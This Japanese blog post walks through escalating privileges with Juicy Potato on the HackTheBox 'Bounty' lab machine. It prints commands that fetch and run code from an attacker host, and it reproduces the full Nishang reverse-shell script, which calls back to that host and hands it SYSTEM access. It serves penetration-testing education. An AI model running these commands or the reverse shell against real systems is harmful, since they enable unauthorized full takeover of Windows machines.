2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Privilege Escalation】 Juicy Potatoについて

Last updated at Posted at 2025-07-26

初めに

こんにちは、最近Windowsマシンの攻略にハマっているセキュリティエンジニアです。脆弱性診断業務に1年半ほど従事しています。

皆さんはWindowsマシンの権限昇格の際に、とりあえずwhoami /privを叩いて権限を確認してみたはいいもののどれをどう悪用していいか分からなくて手が止まった経験はありませんか?

今回は権限のうち、SeImpersonatePrivilegeを悪用した権限昇格のツールの一つJuicy Potatoについて概要および実際の利用方法についてまとめて行きたいと思います。

Juicy Potatoとは

JuicyPotato は、Windows の COM サービスとトークン偽装の仕組みを悪用して SYSTEM 権限を奪取するための有名な 特権昇格エクスプロイトです。
特に Windows Server や古い Windows 10 環境で有効です。

そもそもDCOM/COMとは

恥ずかしながら私はJuicy Potatoの原理について学ぶまでDCOM/COM について知らなかったので簡単にまとめてみました。

✅ COM(Component Object Model)
・Windows が提供するオブジェクト指向のソフトウェアコンポーネントモデル
・例: Shell.Application, WScript.Shell, Scripting.FileSystemObject など
・プログラムから COM オブジェクトを使って機能を呼び出せる(Excel を起動するなど)

✅ DCOM(Distributed COM)
・COM を ローカルマシンだけでなくネットワーク越しでも使えるようにした拡張
・RPC(リモートプロシージャコール)を用いて、リモートの COM オブジェクトを操作できる

攻撃の概要

Windows では、あるプロセスが SeImpersonatePrivilege を持っていると、他のユーザー(例えば SYSTEM)のトークンを偽装できます。

JuicyPotato はこの偽装を悪用して、以下を行います:

  1. DCOM/COM サービスを利用して SYSTEMトークンを持つプロセスを起動

  2. そのプロセスからトークンを盗み、偽装(Impersonate)

  3. そのトークンを使って SYSTEM 権限でコマンドを実行

利用方法

それでは実際にJuicyPotatoを利用した権限昇格の方法について説明します。
今回はHacktheBoxのBountyを題材に、Juicy Potato で権限昇格をしていきます。

前提

① 現在取っているユーザにSeImpersonatePrivilege権限が割り振られている。
image.png

上図はリバースシェルを張って初期侵入したユーザの権限を確認している図。当該権限を持っていることが分かる。

② Windows の OSバージョンが1803以前 (Windows10 1809以降の OSバージョンには基本的に刺さらない)
image.png

今回初期侵入しているマシンのOSバージョンはWindows 8なので可能性あり。

手順

① 以下のリンクからJuicy Potatoを入手します。

② 攻撃者のターミナル1にサーバを立ち上げ(例では8000ポート)、侵入マシンに入手したJuicyPotato.exeをダウンロードする。

PS C:\Users\merlin\Desktop> powershell "(new-object System.Net.WebClient).Downloadfile('http://10.10.16.15:8000/JuicyPotato.exe','JuicyPotato.exe')"
PS C:\Users\merlin\Desktop> dir


    Directory: C:\Users\merlin\Desktop


Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a---         7/26/2025   9:29 AM     347648 JuicyPotato.exe 

※ちなみにWindows OSのバージョンが古い関係でPowerShellのバージョンも低いことが多く、Invoke-WebRequestは通らない可能性があります。
image.png

③ JuicyPotato.exe のオプションを確認してみます。

PS C:\Users\merlin\Desktop> ./JuicyPotato.exe 
JuicyPotato v0.1 

Mandatory args: 
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args: 
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user

-t: CreateProcessの呼び出し方法を指定。今回は両方検証します。
-p: SYSTEM権限で起動するプログラムを指定します。
-l: COMサーバの待ち受けポート。攻撃者のターミナル2で待ち受けるポートを指定します。

④ 次に、今回SYSTEM権限で起動するシェルを侵入対象マシンにダウンロードしておきます。

PS C:\Users\merlin\Desktop> (New-Object System.Net.WebClient).DownloadFile("http://10.10.16.15:8000/shell.bat", "C:\Users\merlin\Desktop\shell.bat")

shell.batの内容は下記となります。

shell.bat
powershell -c iex(new-object net.webclient).downloadstring('http://10.10.16.15:8000/Invoke-PowerShellTcp.ps1')

中身はPowerShell上で、InvokePowerShellTcp.ps1をダウンロードするバッチファイルです。
このバッチファイルで呼び出されているInvokePowerShellTcp.ps1の内容は下記です。

InvokePowerShellTcp.ps1
function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 

...
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>      
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )
    
    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
} 

# powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2/Invoke-PowerShellTcp.ps1')"
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.15 -Port 4443

長々と書いてありますが、本スクリプトは、Windows上で動作するPowerShellでTCP接続を使い、攻撃者PCと双方向通信できるシェル環境を作るスクリプトです。

実行する上で大事なのは一番下の行です。攻撃者のターミナル2で待ち受けているポートを指定しておきます。

⑤ いよいよJuicy Potato.exeを実行します。③で確認したオプションを一式つけて実行します。

PS C:\Users\merlin\Desktop> .\JuicyPotato.exe -t * -p shell.bat -l 4443
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 4443
....
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK
PS C:\Users\merlin\Desktop> 

待ち受けていた攻撃者のターミナル2では無事管理者権限のシェルが取れていることが確認できました。

image.png

あとがき

今回はJuicy Potatoの概要とその利用方法について解説しました。

whoami /privをQiitaのユーザ名にしているからにはいつかは各権限の悪用方法についてもまとめていきたい所存です。(その前にちゃんと勉強します...)

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?